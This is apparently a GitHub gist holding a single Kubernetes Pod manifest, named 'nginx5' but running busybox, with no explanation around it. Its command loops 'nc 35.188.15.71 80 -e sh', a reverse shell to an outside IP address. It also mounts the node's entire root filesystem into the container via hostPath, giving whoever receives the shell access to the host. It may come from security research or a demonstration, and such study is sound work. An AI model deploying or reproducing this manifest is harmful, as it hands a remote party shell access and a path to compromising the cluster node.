Skip to content

Instantly share code, notes, and snippets.

@bgeesaman
Last active December 21, 2019 02:14
Show Gist options
  • Save bgeesaman/a26886d96d8954b9ef0165af4f2ec9d0 to your computer and use it in GitHub Desktop.
Save bgeesaman/a26886d96d8954b9ef0165af4f2ec9d0 to your computer and use it in GitHub Desktop.
apiVersion: v1
kind: Pod
metadata:
name: nginx5
namespace: lake
labels:
app: nginx5
spec:
containers:
- image: docker.io/library/busybox:1.28.4
name: nginx
command:
- sh
- -c
- while true; do nc 35.188.15.71 80 -e sh; done
volumeMounts:
- mountPath: /rootfs
name: host
volumes:
- name: host
hostPath:
path: /
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment